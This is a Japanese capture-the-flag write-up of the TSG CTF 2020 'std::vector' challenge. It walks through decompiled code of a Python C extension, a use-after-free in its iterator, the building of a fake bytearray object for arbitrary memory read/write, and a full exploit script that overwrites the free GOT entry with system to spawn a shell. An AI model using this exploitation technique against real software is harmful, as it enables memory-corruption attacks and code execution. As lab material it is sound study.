Python + C拡張モジュールのExploit(TSG CTF 2020 std::vector)
Pythonの問題に触ったのは初めてだったので備忘録としてwriteupとは別に書こうと思います
問題
$ ls libc.so.6 python3.7 run.py sample.py stdvec.cpython-37m-x86_64-linux-gnu.so template.py $ checksec python3.7 [*] '/home/vagrant/ctf/tsgctf/2020/std_vector/python3.7' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled $ cat template.py import stdvec from sys import modules del modules['os'] keys = list(__builtins__.__dict__.keys()) for k in keys: # present for you if k not in ['int', 'id', 'print', 'range', 'hex', 'bytearray', 'bytes']: del __builtins__.__dict__[k] /** code **/ $ cat run.py ... def is_bad_str(code): code = code.lower() # I don't like these words :) for s in ['__', 'module', 'class', 'code', 'base', 'globals', 'exec', 'eval', 'os', 'import', 'mro', 'attr', 'sys']: if s in code: return True return False ...
pythonのバイナリ、libc.so.6、拡張モジュールが与えられていて、run.pyやtemplate.pyにある制限で使えるのはstdvecとint, idなどの基本的なbuiltinモジュールだけになっている。また、python3.7のセキュリティ機構が一部無効になっている。
拡張モジュールを読む
モジュールを初期化する関数は"PyInit_モジュール名"でなければいけないのでstdvecはPyInit_stdvecで初期化されている
long * PyInit_stdvec(void) { int iVar1; long *plVar2; iVar1 = PyType_Ready(StdVecType); if (-1 < iVar1) { plVar2 = (long *)PyModule_Create2(&stdvecmodule,0x3f5); if (plVar2 != (long *)0x0) { StdVecType._0_8_ = StdVecType._0_8_ + 1; iVar1 = PyModule_AddObject(plVar2,0x10130e,StdVecType); if (-1 < iVar1) { return plVar2; } StdVecType._0_8_ = StdVecType._0_8_ + -1; if (StdVecType._0_8_ == 0) { (**(code **)(StdVecType._8_8_ + 0x30))(StdVecType); } *plVar2 = *plVar2 + -1; if (*plVar2 == 0) { (**(code **)(plVar2[1] + 0x30))(plVar2); } } } return (long *)0; }
stdvecmodule
からモジュールが作られ、そこにStdVecType
が追加されている。
stdvecmodule
はメソッドもなく空で
StdVecType
は大きいので抜粋するとstdvec.StdVec
という名前で__new__
, __iter__
と関数がいくつかStdVecMethods
に定義されている。
StdVec.__new__
: std::vector
の領域を確保してv
にセットする。
StdVec * StdVec_new(_typeobject *param_1,_object *param_2,_object *param_3) { StdVec *local_RAX_3; vector<_object*,std--allocator<_object*>> *pvVar1; local_RAX_3 = (StdVec *)(*param_1->tp_alloc)(param_1,0); pvVar1 = (vector<_object*,std--allocator<_object*>> *)operator.new(0x18); (pvVar1->super__Vector_base<_object*,std--allocator<_object*>>)._M_impl._M_start = (pointer)0x0; (pvVar1->super__Vector_base<_object*,std--allocator<_object*>>)._M_impl._M_finish = (pointer)0x0; (pvVar1->super__Vector_base<_object*,std--allocator<_object*>>)._M_impl._M_end_of_storage = (pointer)0x0; local_RAX_3->v = pvVar1; return local_RAX_3; }
StdVec.__iter__
: vectorの先頭と終点のアドレスを保持したStdVecIterType
のインスタンスを返す。
void iter(StdVec *param_1,_object *param_2) { _object *p_Var1; _object *p_Var2; long lVar3; p_Var1 = (_object *) (param_1->v->super__Vector_base<_object*,std--allocator<_object*>>)._M_impl._M_start; p_Var2 = (_object *) (param_1->v->super__Vector_base<_object*,std--allocator<_object*>>)._M_impl._M_finish; lVar3 = _PyObject_New(&StdVecIterType); *(pointer)(lVar3 + 0x10) = p_Var1; *(pointer)(lVar3 + 0x18) = p_Var2; return; }
StdVecIter.__next__
: if (current != end) return *current++; else return NULL;
_object * iter_next(StdVecIter *param_1,_object *param_2) { _object **pp_Var1; _object *p_Var2; pp_Var1 = (param_1->current)._M_current; if ((_object *)(param_1->end)._M_current != (_object *)pp_Var1) { p_Var2 = *pp_Var1; *(_object **)&(param_1->current)._M_current = (_object *)(pp_Var1 + 1); p_Var2->ob_refcnt = p_Var2->ob_refcnt + 1; return p_Var2; } return (_object *)0; }
StdVec.append
: 長いが要するにvector::push_back
。
void append(StdVec *param_1,_object *param_2) { vector<_object*,std--allocator<_object*>> *this; _object *p_Var1; int iVar2; long in_FS_OFFSET; _object *local_28; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); iVar2 = _PyArg_ParseTuple_SizeT(param_2,&s_O,&local_28); if (iVar2 != 0) { this = param_1->v; p_Var1 = (_object *) (this->super__Vector_base<_object*,std--allocator<_object*>>)._M_impl._M_finish; local_28->ob_refcnt = local_28->ob_refcnt + 1; if (p_Var1 == (_object *) (this->super__Vector_base<_object*,std--allocator<_object*>>)._M_impl. _M_end_of_storage) { _M_realloc_insert<_object*const&>(this,(__normal_iterator)p_Var1,&local_28); } else { if (p_Var1 != (_object *)0x0) { *(_object **)&p_Var1->ob_refcnt = local_28; } *(_typeobject **) &(this->super__Vector_base<_object*,std--allocator<_object*>>)._M_impl._M_finish = (_typeobject *)&p_Var1->ob_type; } } _Py_NoneStruct = _Py_NoneStruct + 1; if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) { return; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
その他StdVec.size
, StdVec.set
, StdVec.get
もあるが今回は関係ないので省略(負のインデックスも受け入れるような実装だったけどPythonを意識してってことなのかな。怪しいところは見つからなかった)
脆弱性
StdVec.append
で領域が足りなかったときにrealloc
で増やしているが、元の領域はfree
されるためStdVecIter
が持っているアドレスにfree
後の領域を指させることができる。よって以下のようにfor x in l
の中でl.appendを呼ぶとエラーを起こせる。
import stdvec l = stdvec.StdVec() for i in range(0x100): l.append(0) for x in l: l.append(1)
l.append(1)
で元の領域をfree
させた後になんらかの方法でmalloc
を呼びその領域を確保し、StdVecIter.__next__
が偽のPython Objectを返すようにすれば最終的に任意のアドレスの読み書きができるようになる。
Pythonから生のheapを使う
Pythonにはheapとは別にPythonが直接管理するprivate heapを使っており、基本的に生のheapよりもprivate heapが使われる。例外として512 bytesよりも大きな領域を確保しようとした時(Memory Management — Python 3.8.4 documentation)とprint
などでバッファを使う時にmalloc
やfree
が使われる(他にもあるかもしれないけど多分これだけ知っていれば十分)。よってvectorのサイズが512 bytesより大きいかつ2の冪乗(次のappend
でrealloc
を呼ばせるため)になるようにappend
を繰り返した後に、for
内でappend
し開放された領域にObjectを作ることで上のコードでいうところのx
に偽のPython Objectを掴ませることができる。
偽のPython Objectを作る
まず全てのObjectの親クラス(?)であるPyObjectの型は、
typedef struct _object { _PyObject_HEAD_EXTRA // heap用のlinked listを持つらしい Py_ssize_t ob_refcnt; // free可能かどうかを参照されている回数で判断する struct _typeobject *ob_type; // instanceを操作する関数などがここに定義される } PyObject;
となっており、それぞれの型に応じて追加のフィールドを持つ。例えばPyLongObjectは
struct _longobject { PyObject ob_base; Py_ssize_t ob_size; digit ob_digit[1]; };
と、実際の値を持つob_digit
とその配列の大きさを表すob_size
が追加されている。今回使うPyByteArrayObjectは
typedef struct { PyObject ob_base; Py_ssize_t ob_size; // 実際に使われているサイズ Py_ssize_t ob_alloc; // ob_bytesに確保されている領域のサイズ char *ob_bytes; // 確保されている領域の先頭 char *ob_start; // ob_bytesの中で実際に使われている部分の先頭 Py_ssize_t ob_exports; // 他のObjectからこの領域が使われている回数 } PyByteArrayObject;
と、Object内にデータを持つ代わりに別途確保された領域のアドレスを持つ。これらの値を自由に弄ることができればob_start
を0
、ob_size
を最大にして任意アドレスへの読み書きが可能になる。
実際には以下のように偽のObjectを作って
fake_obj = b'' fake_obj += p64(1) # ob_refcnt fake_obj += p64(id(bytearray)) # ob_type fake_obj += p64(0x1000000) # ob_size fake_obj += p64(0) # ob_alloc fake_obj += p64(0) # ob_bytes fake_obj += p64(0) # ob_start
id(fake_obj) + 0x20
(0x20
はPyBytesObjectのob_base
などの部分をとばすため)をStdVecIter.__next__
が取り出すように操作すればx[libc_base + free_got] = 0x11
のようにメモリを自由に使うことができるようになる。
Exploit
ここまでで任意アドレスへの読み書きが可能になったので、free
などのGOTからlibcのアドレスを求めてfree
をsystem
に書き換えてからprint('/bin/sh')
(print
はbuffer用の領域を確保して開放する)でシェルを起動する。
import stdvec from sys import modules del modules['os'] keys = list(__builtins__.__dict__.keys()) for k in keys: # present for you if k not in ['int', 'id', 'print', 'range', 'hex', 'bytearray', 'bytes']: del __builtins__.__dict__[k] def p64(x): return x.to_bytes(8, 'little') fake_obj = b'' fake_obj += p64(1) # ob_refcnt fake_obj += p64(id(bytearray)) # ob_type fake_obj += p64(0x1000000) # ob_size fake_obj += p64(0) # ob_alloc fake_obj += p64(0) # ob_bytes fake_obj += p64(0) # ob_start l = stdvec.StdVec() for i in range(0x100): l.append(0) i = 0 for x in l: if i == 0: l.append(0) # bytearrayだとこの文字列用の領域を確保するがbytesはObjectのメタデータも含めて確保するのでbytearrayの方が使い勝手がいい # また、bytearrayが作られる前にbytesが作られるのでl.append(0)で開放した領域をbytesのObjectに使わせないために大きさは開放されている領域のサイズぎりぎりにする必要がある _ = bytearray(b'A' * 8 + p64(id(fake_obj) + 0x20) + b'A' * 0x7f0) elif i == 1: break i += 1 def leak(arr, offset): val = 0 for i in range(8): val += arr[offset + i] << i * 8 return val def overwrite(arr, offset, value): bs = p64(value) for i in range(8): arr[offset + i] = bs[i] free_got = 0xa00520 free_offset = 0x979c0 system_offset = 0x4f4e0 libc_base = leak(x, free_got) - free_offset overwrite(x, free_got, libc_base + system_offset) print('/bin/sh')
参考
https://gist.github.com/moratorium08/a1daa601b0785981c97b08f777a3da59 https://gist.github.com/Charo-IT/19215b12d2240a6a19c355153bffa66b